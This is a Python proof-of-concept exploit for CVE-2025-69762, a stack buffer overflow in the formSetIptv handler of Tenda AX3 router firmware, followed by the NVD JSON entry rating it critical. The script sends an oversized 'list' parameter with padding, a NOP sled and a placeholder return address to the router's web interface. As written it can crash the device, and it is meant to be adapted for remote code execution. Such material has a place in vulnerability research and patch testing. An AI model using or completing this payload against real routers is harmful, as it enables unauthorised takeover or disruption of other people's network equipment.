CVE-2025-69762

import requests # CVE-2025-69762 PoC - Tenda AX3 formSetIptv Stack Overflow RCE # Target: Tenda AX3 Router # Affected Firmware: v16.03.12.11 and earlier target_ip = "192.168.0.1" # Replace with target router IP target_port = 80 # Construct malicious payload with oversized 'list' parameter # This causes stack overflow in formSetIptv function payload_size = 1000 # Adjust based on buffer size malicious_list = "A" * payload_size # Additional padding to overwrite return address (requires target-specific adjustment) return_address = "\x42\x42\x42\x42" # Placeholder - needs to be adjusted shellcode = "\x90" * 100 # NOP sled full_payload = malicious_list + shellcode + return_address # Construct the exploit request url = f"http://{target_ip}:{target_port}/goform/formSetIptv" data = { "list": full_payload, "enable": "1", "vlan": "100" } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(full_payload)} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-69762", "sourceIdentifier": "[email protected]", "published": "2026-01-21T18:16:24.053", "lastModified": "2026-01-26T20:38:07.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 firmware v16.03.12.11 contains a stack overflow in formSetIptv via the list parameter, which can cause memory corruption and enable remote code execution."}, {"lang": "es", "value": "El firmware Tenda AX3 v16.03.12.11 contiene un desbordamiento de pila en formSetIptv a través del parámetro list, lo que puede causar corrupción de memoria y permitir la ejecución remota de código."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.11:*:*:*:*:*:*:*", "matchCriteriaId": "9FFD11D4-8E44-4156-9D8E-7094E36A2152"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formSetIptv-2c9a595a7aef80718ff2c3869d32392d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://river-brow-763.notion.site/Tenda-AX3-Buffer-Overflow-in-formSetIptv-2c9a595a7aef80718ff2c3869d32392d?pvs=74", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}